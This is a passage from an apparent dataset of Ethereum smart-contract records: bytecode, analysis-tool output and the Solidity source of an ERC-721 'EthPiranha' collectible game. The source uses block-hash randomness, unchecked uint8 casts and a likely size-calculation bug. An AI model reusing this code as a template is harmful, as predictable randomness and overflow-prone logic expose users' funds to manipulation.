} | 0x6060604052600436106101d75763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302884909811461021d5780630aa0fbe51461024c5780630d2f297114610271578063144be7eb1461028757806325d83bb31461029a5780633519932e146102bc5780633f4ba83a146102c757806341994140146102da57806351c81f01146102f057806351ebe2f11461030f5780635c975abb14610322578063634c5c51146103495780637a4241351461035f5780637bf20b731461039957806381081184146103b857806382abcc20146103d757806383197ef0146104095780638456cb591461041c5780638462151c1461042f5780638de04f87146104a157806394644764146104bd5780639bf407c8146104df578063a92f0cb91461056c578063aa82b5921461057f578063aa99474f146105e1578063b4cec53014610609578063c682d0bb1461061c578063ca5a899c14610635578063cf73a1bc14610648578063d04d86671461065b578063d0ebdbe714610663578063d2dd8d2a14610682578063d67b534e146106a4578063dbb183c2146106bd578063e14a6b95146106dc578063f8900ddd146106f2578063f985f5fc14610705578063f9f2c16114610730575b7f1f11d1f170e7a65b56e69d3a148ad21884b852129edf68fa6f2ddab106b3096e3334604051600160a060020a03909216825260208201526040908101905180910390a1005b341561022857600080fd5b61023061074f565b604051600160a060020a03909116815260200160405180910390f35b341561025757600080fd5b61025f61075e565b60405190815260200160405180910390f35b610285600160a060020a0360043516610775565b005b341561029257600080fd5b61025f6107bb565b34156102a557600080fd5b6102856004803590602480359081019101356107c5565b6102856004356107ff565b34156102d257600080fd5b61028561083c565b34156102e557600080fd5b61023060043561088f565b34156102fb57600080fd5b610285600160a060020a03600435166108aa565b341561031a57600080fd5b610230610909565b341561032d57600080fd5b610335610918565b604051901515815260200160405180910390f35b341561035457600080fd5b610285600435610928565b341561036a57600080fd5b6103756004356109f6565b6040516001608060020a039283168152911660208201526040908101905180910390f35b34156103a457600080fd5b61025f600160a060020a0360043516610a29565b34156103c357600080fd5b610285600160a060020a0360043516610a3b565b34156103e257600080fd5b6103ed600435610ae0565b6040516001608060020a03909116815260200160405180910390f35b341561041457600080fd5b610285610afb565b341561042757600080fd5b610285610b24565b341561043a57600080fd5b61044e600160a060020a0360043516610b97565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561048d578082015183820152602001610475565b505050509050019250505060405180910390f35b34156104ac57600080fd5b61028560043560ff60243516610c85565b34156104c857600080fd5b61025f600435600160a060020a0360243516610cfd565b34156104ea57600080fd5b6104f5600435610d3f565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610531578082015183820152602001610519565b50505050905090810190601f16801561055e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057757600080fd5b610285610def565b341561058a57600080fd5b610595600435610e7f565b60405160ff958616815267ffffffffffffffff9094166020850152600160a060020a0390921660408085019190915261ffff90911660608401529216608082015260a001905180910390f35b34156105ec57600080fd5b610285600160a060020a0360043581169060243516604435610ede565b341561061457600080fd5b61025f610f09565b341561062757600080fd5b610285600435602435610f0f565b341561064057600080fd5b61025f610fae565b341561065357600080fd5b610230610fb4565b610285610fc3565b341561066e57600080fd5b610285600160a060020a0360043516610fe0565b341561068d57600080fd5b610285600435600160a060020a036024351661103f565b34156106af57600080fd5b61025f600435602435611122565b34156106c857600080fd5b610285600160a060020a036004351661117f565b34156106e757600080fd5b61025f6004356111c9565b34156106fd57600080fd5b6102306111db565b341561071057600080fd5b61025f600435602435600160a060020a03604435811690606435166111ea565b341561073b57600080fd5b610285600160a060020a036004351661121d565b600954600160a060020a031681565b600e54600c54600160a060020a0330163103035b90565b60095433600160a060020a0390811691161461079057600080fd5b600160a060020a03166000908152600d60205260409020805434908101909155600e80549091019055565b6003546000190190565b60095433600160a060020a039081169116146107e057600080fd5b6000838152600f602052604090206107f99083836115ed565b50505050565b60095433600160a060020a0390811691161461081a57600080fd5b6000908152600b60205260409020805434908101909155600c80549091019055565b60005433600160a060020a0390811691161461085757600080fd5b60025460a060020a900460ff16151561086f57600080fd5b6002805474ff000000000000000000000000000000000000000019169055565b600760205260009081526040902054600160a060020a031681565b60005433600160a060020a039081169116146108c557600080fd5b600160a060020a03811615156108da57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a031681565b60025460a060020a900460ff1681565b6009546000908190819033600160a060020a0390811691161461094a57600080fd5b600380548590811061095857fe5b6000918252602090912001805490935069010000000000000000009004600160a060020a0316915081151561098c57600080fd5b506000838152600b60205260408120549081116109a857600080fd5b6000848152600b602052604080822091909155600c80548390039055600160a060020a0383169082156108fc0290839051600060405180830381858888f1935050505015156107f957600080fd5b600a602052600090815260409020546001608060020a038082169170010000000000000000000000000000000090041682565b600d6020526000908152604090205481565b60025460009033600160a060020a03908116911614610a5957600080fd5b610a6161075e565b9050600160a060020a0382161515610aab57600254600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610aa657600080fd5b610adc565b600160a060020a03821681156108fc0282604051600060405180830381858888f193505050501515610adc57600080fd5b5050565b6006602052600090815260409020546001608060020a031681565b60005433600160a060020a03908116911614610b1657600080fd5b600054600160a060020a0316ff5b60015433600160a060020a0390811691161480610b4f575060005433600160a060020a039081169116145b1515610b5a57600080fd5b60025460a060020a900460ff1615610b7157600080fd5b6002805474ff0000000000000000000000000000000000000000191660a060020a179055565b610b9f61166b565b6000610ba961166b565b600160a060020a03841660009081526008602052604081205492508080841515610bf4576000604051805910610bdc5750595b90808252806020026020018201604052509550610c7b565b84604051805910610c025750595b90808252806020026020018201604052509350610c1d6107bb565b925060009150600190505b828111610c7757600081815260076020526040902054600160a060020a0388811691161415610c6f5780848381518110610c5e57fe5b602090810290910101526001909101905b600101610c28565b8395505b5050505050919050565b600954600090819033600160a060020a03908116911614610ca557600080fd5b8291506003805485908110610cb657fe5b6000918252602090912001805460ff90931660f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90931692909217909155505050565b60008260ff81168114610d0f57600080fd5b60ff81166000908152600560209081526040808320600160a060020a038716845290915290205491505092915050565b600f6020528060005260406000206000915090508054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de75780601f10610dbc57610100808354040283529160200191610de7565b820191906000526020600020905b815481529060010190602001808311610dca57829003601f168201915b505050505081565b60025460009060a060020a900460ff1615610e0957600080fd5b50600160a060020a0333166000908152600d6020526040812054908111610e2f57600080fd5b600160a060020a0333166000818152600d602052604080822091909155600e8054849003905582156108fc0290839051600060405180830381858888f193505050501515610e7c57600080fd5b50565b6003805482908110610e8d57fe5b60009182526020909120015460ff808216925067ffffffffffffffff61010083041691600160a060020a0369010000000000000000008204169161ffff60e860020a8304169160f860020a90041685565b60095433600160a060020a03908116911614610ef957600080fd5b610f0483838361127c565b505050565b600e5481565b60095433600160a060020a03908116911614610f2a57600080fd5b6040805190810160409081526001608060020a03428116835283166020808401919091526000858152600a90915220815181546fffffffffffffffffffffffffffffffff19166001608060020a0391909116178155602082015181546001608060020a03918216700100000000000000000000000000000000029116179055505050565b600c5481565b600154600160a060020a031681565b60095433600160a060020a03908116911614610fde57600080fd5b565b60005433600160a060020a03908116911614610ffb57600080fd5b600160a060020a038116151561101057600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60095460009033600160a060020a0390811691161461105d57600080fd5b600380548490811061106b57fe5b6000918252602090912001805490915069010000000000000000009004600160a060020a031615156110a0576110a083611308565b805461ffff60e860020a600160a060020a039094166901000000000000000000027cffffffffffffffffffffffffffffffffffffffff000000000000000000199092169190911783810482166001019091169092027fff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90921691909117905550565b6000828160ff8216821461113557600080fd5b508267ffffffffffffffff8116811461114d57600080fd5b60ff8216600090815260046020908152604080832067ffffffffffffffff851684529091529020549250505092915050565b60005433600160a060020a0390811691161461119a57600080fd5b6009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600b6020526000908152604090205481565b600054600160a060020a031681565b60095460009033600160a060020a0390811691161461120857600080fd5b6112148585858561133a565b95945050505050565b60005433600160a060020a0390811691161461123857600080fd5b600160a060020a038116151561124d57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60025460a060020a900460ff161561129357600080fd5b600160a060020a0380831660008181526008602090815260408083208054600101905585835260079091529020805473ffffffffffffffffffffffffffffffffffffffff19169091179055831615610f04575050600160a060020a031660009081526008602052604090208054600019019055565b600090815260066020526040902080546fffffffffffffffffffffffffffffffff1916426001608060020a0316179055565b60008060008061134861167d565b60025460009060a060020a900460ff161561136257600080fd5b89945060ff8516851461137457600080fd5b88935067ffffffffffffffff8416841461138d57600080fd5b60009250600160a060020a038716156113a557600192505b60a0604051908101604090815260ff8716825267ffffffffffffffff86166020830152600160a060020a0389169082015261ffff8416606082015260006080820152600380549193506001918083016113fe83826116ab565b600092835260209092208591018151815460ff191660ff919091161781556020820151815467ffffffffffffffff919091166101000268ffffffffffffffff001990911617815560408201518154600160a060020a03919091166901000000000000000000027cffffffffffffffffffffffffffffffffffffffff000000000000000000199091161781556060820151815461ffff9190911660e860020a027fff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff909116178155608082015181547effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a60ff92831602179091558816600090815260046020908152604080832067ffffffffffffffff8b16845290915290209290910391829055509050600160a060020a0387161561156c5760ff85166000908152600560209081526040808320600160a060020a038b168452909152902081905561156c81611308565b87600160a060020a0316817fec07560f0d67d22e7a3e674802a543c4c15d8fdd9e4c54b52252c19f3ce6fbcb87878b60405160ff909316835267ffffffffffffffff9091166020830152600160a060020a03166040808301919091526060909101905180910390a36115e06000898361127c565b9998505050505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061162e5782800160ff1982351617855561165b565b8280016001018555821561165b579182015b8281111561165b578235825591602001919060010190611640565b506116679291506116cb565b5090565b60206040519081016040526000815290565b60a0604051908101604090815260008083526020830181905290820181905260608201819052608082015290565b815481835581811511610f0457600083815260209020610f049181019083015b61077291905b8082111561166757600081556001016116d15600a165627a7a723058203717823f8487eb509ed84bb20e60b879786f1ad7796681aaa409183ab0aba6470029 | {"success": true, "error": null, "results": {}} | 341 |
0xc72678b233db51ff01a6725c21a323a98096cfa1 | pragma solidity ^0.4.21;
contract Ownable {
address public contractOwner;
function Ownable() public {
contractOwner = msg.sender;
}
modifier onlyContractOwner() {
require(msg.sender == contractOwner);
_;
}
function transferContractOwnership(address _newOwner) public onlyContractOwner {
require(_newOwner != address(0));
contractOwner = _newOwner;
}
function contractWithdraw() public onlyContractOwner {
contractOwner.transfer(this.balance);
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract EthPiranha is ERC721, Ownable {
event PiranhaCreated(uint256 tokenId, string name, address owner);
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
event Transfer(address from, address to, uint256 tokenId);
string public constant NAME = "Piranha";
string public constant SYMBOL = "PiranhaToken";
mapping (uint256 => address) private piranhaIdToOwner;
mapping (address => uint256) private ownershipTokenCount;
mapping (uint256 => address) private piranhaIdToApproved;
/*** DATATYPES ***/
struct Piranha {
string name;
uint8 size;
uint256 gen;
uint8 unique;
uint256 growthStartTime;
uint256 sellPrice;
uint8 hungry;
}
Piranha[] public piranhas;
function approve(address _to, uint256 _tokenId) public { //ERC721
// Caller must own token.
require(_owns(msg.sender, _tokenId));
piranhaIdToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner) public view returns (uint256 balance) { //ERC721
return ownershipTokenCount[_owner];
}
function createPiranhaTokens() public onlyContractOwner {
for (uint8 i=0; i<15; i++) {
_createPiranha("EthPiranha", msg.sender, 20 finney, 160, 1, 0);
}
}
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) { //ERC721
return NAME;
}
function symbol() public pure returns (string) { //ERC721
return SYMBOL;
}
function ownerOf(uint256 _tokenId) public view returns (address owner) { //ERC721
owner = piranhaIdToOwner[_tokenId];
require(owner != address(0));
}
function buy(uint256 _tokenId) public payable {
address oldOwner = piranhaIdToOwner[_tokenId];
address newOwner = msg.sender;
Piranha storage piranha = piranhas[_tokenId];
uint256 sellingPrice = piranha.sellPrice;
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= sellingPrice && sellingPrice > 0);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 97), 100)); //97% to previous owner, 3% dev tax
// Stop selling
piranha.sellPrice=0;
piranha.hungry=0;
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment); //
}
TokenSold(_tokenId, sellingPrice, 0, oldOwner, newOwner, piranhas[_tokenId].name);
if (msg.value > sellingPrice) { //if excess pay
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
msg.sender.transfer(purchaseExcess);
}
}
function changePiranhaName(uint256 _tokenId, string _name) public payable {
require (piranhaIdToOwner[_tokenId] == msg.sender && msg.value == 0.001 ether);
require(bytes(_name).length <= 15);
Piranha storage piranha = piranhas[_tokenId];
piranha.name = _name;
}
function startSelling(uint256 _tokenId, uint256 _price) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
piranha.sellPrice = _price;
}
function stopSelling(uint256 _tokenId) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
require (piranha.sellPrice > 0);
piranha.sellPrice = 0;
}
function hungry(uint256 _tokenId) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
require (piranha.hungry == 0);
uint8 piranhaSize=uint8(piranha.size+(now-piranha.growthStartTime)/900);
require (piranhaSize < 240);
piranha.hungry = 1;
}
function notHungry(uint256 _tokenId) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
require (piranha.hungry == 1);
piranha.hungry = 0;
}
function bite(uint256 _tokenId, uint256 _victimTokenId) public payable {
require (piranhaIdToOwner[_tokenId] == msg.sender);
require (msg.value == 1 finney);
Piranha storage piranha = piranhas[_tokenId];
Piranha storage victimPiranha = piranhas[_victimTokenId];
require (piranha.hungry == 1 && victimPiranha.hungry == 1);
uint8 vitimPiranhaSize=uint8(victimPiranha.size+(now-victimPiranha.growthStartTime)/900);
require (vitimPiranhaSize>40); // don't bite a small
uint8 piranhaSize=uint8(piranha.size+(now-piranha.growthStartTime)/900)+10;
if (piranhaSize>240) {
piranha.size = 240; //maximum
piranha.hungry = 0;
} else {
piranha.size = piranhaSize;
}
//decrease victim size
if (vitimPiranhaSize>=50) {
vitimPiranhaSize-=10;
victimPiranha.size = vitimPiranhaSize;
}
else {
victimPiranha.size=40;
}
piranha.growthStartTime=now;
victimPiranha.growthStartTime=now;
}
function breeding(uint256 _maleTokenId, uint256 _femaleTokenId) public payable {
require (piranhaIdToOwner[_maleTokenId] == msg.sender && piranhaIdToOwner[_femaleTokenId] == msg.sender);
require (msg.value == 0.01 ether);
Piranha storage piranhaMale = piranhas[_maleTokenId];
Piranha storage piranhaFemale = piranhas[_femaleTokenId];
uint8 maleSize=uint8(piranhaMale.size+(now-piranhaMale.growthStartTime)/900);
if (maleSize>240)
piranhaMale.size=240;
else
piranhaMale.size=maleSize;
uint8 femaleSize=uint8(piranhaFemale.size+(now-piranhaFemale.growthStartTime)/900);
if (femaleSize>240)
piranhaFemale.size=240;
else
piranhaFemale.size=femaleSize;
require (piranhaMale.size > 150 && piranhaFemale.size > 150);
uint8 newbornSize = uint8(SafeMath.div(SafeMath.add(piranhaMale.size, piranhaMale.size),4));
uint256 maxGen=piranhaFemale.gen;
uint256 minGen=piranhaMale.gen;
if (piranhaMale.gen > piranhaFemale.gen) {
maxGen=piranhaMale.gen;
minGen=piranhaFemale.gen;
}
uint256 randNum = uint256(block.blockhash(block.number-1));
uint256 newbornGen;
uint8 newbornUnique = uint8(randNum%100+1); //chance to get rare piranha
if (randNum%(10+maxGen) == 1) { // new generation, difficult depends on maxgen
newbornGen = SafeMath.add(maxGen,1);
} else if (maxGen == minGen) {
newbornGen = maxGen;
} else {
newbornGen = SafeMath.add(randNum%(maxGen-minGen+1),minGen);
}
// 5% chance to get rare piranhas for each gen
if (newbornUnique > 5)
newbornUnique = 0;
//initiate new size, cancel selling
piranhaMale.size = uint8(SafeMath.div(piranhaMale.size,2));
piranhaFemale.size = uint8(SafeMath.div(piranhaFemale.size,2));
piranhaMale.growthStartTime = now;
piranhaFemale.growthStartTime = now;
piranhaMale.sellPrice = 0;
piranhaFemale.sellPrice = 0;
_createPiranha("EthPiranha", msg.sender, 0, newbornSize, newbornGen, newbornUnique);
}
function takeOwnership(uint256 _tokenId) public { //ERC721
address newOwner = msg.sender;
address oldOwner = piranhaIdToOwner[_tokenId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function allPiranhasInfo(uint256 _startPiranhaId) public view returns (address[] owners, uint8[] sizes, uint8[] hungry, uint256[] prices) { //for web site view
uint256 totalPiranhas = totalSupply();
Piranha storage piranha;
if (totalPiranhas == 0 || _startPiranhaId >= totalPiranhas) {
// Return an empty array
return (new address[](0), new uint8[](0), new uint8[](0), new uint256[](0));
}
uint256 indexTo;
if (totalPiranhas > _startPiranhaId+1000)
indexTo = _startPiranhaId + 1000;
else
indexTo = totalPiranhas;
uint256 totalResultPiranhas = indexTo - _startPiranhaId;
address[] memory owners_res = new address[](totalResultPiranhas);
uint8[] memory size_res = new uint8[](totalResultPiranhas);
uint8[] memory hungry_res = new uint8[](totalResultPiranhas);
uint256[] memory prices_res = new uint256[](totalResultPiranhas);
for (uint256 piranhaId = _startPiranhaId; piranhaId < indexTo; piranhaId++) {
piranha = piranhas[piranhaId];
owners_res[piranhaId - _startPiranhaId] = piranhaIdToOwner[piranhaId];
hungry_res[piranhaId - _startPiranhaId] = piranha.hungry;
size_res[piranhaId - _startPiranhaId] = uint8(piranha.size+(now-piranha.growthStartTime)/900);
prices_res[piranhaId - _startPiranhaId] = piranha.sellPrice;
}
return (owners_res, size_res, hungry_res, prices_res);
}
function totalSupply() public view returns (uint256 total) { //ERC721
return piranhas.length;
}
function transfer(address _to, uint256 _tokenId) public { //ERC721
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public { //ERC721
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/* PRIVATE FUNCTIONS */
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return piranhaIdToApproved[_tokenId] == _to;
}
function _createPiranha(string _name, address _owner, uint256 _price, uint8 _size, uint256 _gen, uint8 _unique) private {
Piranha memory _piranha = Piranha({
name: _name,
size: _size,
gen: _gen,
unique: _unique,
growthStartTime: now,
sellPrice: _price,
hungry: 0
});
uint256 newPiranhaId = piranhas.push(_piranha) - 1;
require(newPiranhaId == uint256(uint32(newPiranhaId))); //check maximum limit of tokens
PiranhaCreated(newPiranhaId, _name, _owner);
_transfer(address(0), _owner, newPiranhaId);
}
function _owns(address _checkedAddr, uint256 _tokenId) private view returns (bool) {
return _checkedAddr == piranhaIdToOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
piranhaIdToOwner[_tokenId] = _to;
// When creating new piranhas _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete piranhaIdToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630142d43e1461015957806306fdde031461017c578063095ea7b31461020a5780631051db341461024c57806318160ddd146102795780631a372eaa146102a2578063207368fc146103f257806323b872dd1461041e57806347fc43061461047f578063486e66da14610494578063549a9ffd146104b75780636352211e1461051257806370a082311461057557806395d89b41146105c2578063a3f4df7e14610650578063a5f128fb146106de578063a729f9fa14610701578063a843c51f146107d9578063a9059cbb14610812578063b2e6ceeb14610854578063ce606ee014610877578063d6cf18e7146108cc578063d96a094a146108e1578063f69e98d7146108f9578063f76f8d781461091a578063fbbe20a9146109a8575b600080fd5b341561016457600080fd5b61017a60048080359060200190919050506109c9565b005b341561018757600080fd5b61018f610a9c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cf5780820151818401526020810190506101b4565b50505050905090810190601f1680156101fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021557600080fd5b61024a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610adf565b005b341561025757600080fd5b61025f610baf565b604051808215151515815260200191505060405180910390f35b341561028457600080fd5b61028c610bb8565b6040518082815260200191505060405180910390f35b34156102ad57600080fd5b6102c36004808035906020019091905050610bc5565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156103125780820151818401526020810190506102f7565b50505050905001858103845288818151815260200191508051906020019060200280838360005b83811015610354578082015181840152602081019050610339565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561039657808201518184015260208101905061037b565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156103d85780820151818401526020810190506103bd565b505050509050019850505050505050505060405180910390f35b34156103fd57600080fd5b61041c6004808035906020019091908035906020019091905050610ee9565b005b341561042957600080fd5b61047d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f85565b005b341561048a57600080fd5b610492610fd3565b005b341561049f57600080fd5b6104b560048080359060200190919050506110a8565b005b610510600480803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506111bb565b005b341561051d57600080fd5b610533600480803590602001909190505061128a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058057600080fd5b6105ac600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611303565b6040518082815260200191505060405180910390f35b34156105cd57600080fd5b6105d561134c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106155780820151818401526020810190506105fa565b50505050905090810190601f1680156106425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561065b57600080fd5b61066361138f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106a3578082015181840152602081019050610688565b50505050905090810190601f1680156106d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106e957600080fd5b6106ff60048080359060200190919050506113c8565b005b341561070c57600080fd5b6107226004808035906020019091905050611477565b60405180806020018860ff1660ff1681526020018781526020018660ff1660ff1681526020018581526020018481526020018360ff1660ff168152602001828103825289818151815260200191508051906020019080838360005b8381101561079857808201518184015260208101905061077d565b50505050905090810190601f1680156107c55780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b34156107e457600080fd5b610810600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611587565b005b341561081d57600080fd5b610852600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611661565b005b341561085f57600080fd5b6108756004808035906020019091905050611699565b005b341561088257600080fd5b61088a61170e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108d757600080fd5b6108df611733565b005b6108f760048080359060200190919050506117fe565b005b6109186004808035906020019091908035906020019091905050611b46565b005b341561092557600080fd5b61092d611d95565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561096d578082015181840152602081019050610952565b50505050905090810190601f16801561099a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109c76004808035906020019091908035906020019091905050611dce565b005b60003373ffffffffffffffffffffffffffffffffffffffff166001600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610a3857600080fd5b600482815481101515610a4757fe5b9060005260206000209060070201905060018160060160009054906101000a900460ff1660ff16141515610a7a57600080fd5b60008160060160006101000a81548160ff021916908360ff1602179055505050565b610aa46127d5565b6040805190810160405280600781526020017f506972616e686100000000000000000000000000000000000000000000000000815250905090565b610ae9338261221a565b1515610af457600080fd5b816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b60006001905090565b6000600480549050905090565b610bcd6127e9565b610bd56127fd565b610bdd6127fd565b610be5612811565b600080600080610bf36127e9565b610bfb6127fd565b610c036127fd565b610c0b612811565b6000610c15610bb8565b98506000891480610c265750888e10155b15610cc4576000604051805910610c3a5750595b90808252806020026020018201604052506000604051805910610c5a5750595b90808252806020026020018201604052506000604051805910610c7a5750595b90808252806020026020018201604052506000604051805910610c9a5750595b90808252806020026020018201604052508393508292508191508090509c509c509c509c50610ed9565b6103e88e01891115610cdc576103e88e019650610ce0565b8896505b8d8703955085604051805910610cf35750595b9080825280602002602001820160405250945085604051805910610d145750595b9080825280602002602001820160405250935085604051805910610d355750595b9080825280602002602001820160405250925085604051805910610d565750595b908082528060200260200182016040525091508d90505b86811015610ecc57600481815481101515610d8457fe5b906000526020600020906007020197506001600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16858f8303815181101515610dd857fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508760060160009054906101000a900460ff16838f8303815181101515610e3657fe5b9060200190602002019060ff16908160ff168152505061038488600401544203811515610e5f57fe5b048860010160009054906101000a900460ff1660ff1601848f8303815181101515610e8657fe5b9060200190602002019060ff16908160ff16815250508760050154828f8303815181101515610eb157fe5b90602001906020020181815250508080600101915050610d6d565b848484849c509c509c509c505b5050505050505050509193509193565b60003373ffffffffffffffffffffffffffffffffffffffff166001600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610f5857600080fd5b600483815481101515610f6757fe5b90600052602060002090600702019050818160050181905550505050565b610f8f838261221a565b1515610f9a57600080fd5b610fa48282612286565b1515610faf57600080fd5b610fb8826122f2565b1515610fc357600080fd5b610fce83838361232b565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561102e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156110a657600080fd5b565b6000803373ffffffffffffffffffffffffffffffffffffffff166001600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561111857600080fd5b60048381548110151561112757fe5b9060005260206000209060070201915060008260060160009054906101000a900460ff1660ff1614151561115a57600080fd5b6103848260040154420381151561116d57fe5b048260010160009054906101000a900460ff1660ff1601905060f08160ff1610151561119857600080fd5b60018260060160006101000a81548160ff021916908360ff160217905550505050565b60003373ffffffffffffffffffffffffffffffffffffffff166001600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611231575066038d7ea4c6800034145b151561123c57600080fd5b600f82511115151561124d57600080fd5b60048381548110151561125c57fe5b9060005260206000209060070201905081816000019080519060200190611284929190612825565b50505050565b60006001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112fe57600080fd5b919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113546127d5565b6040805190810160405280600c81526020017f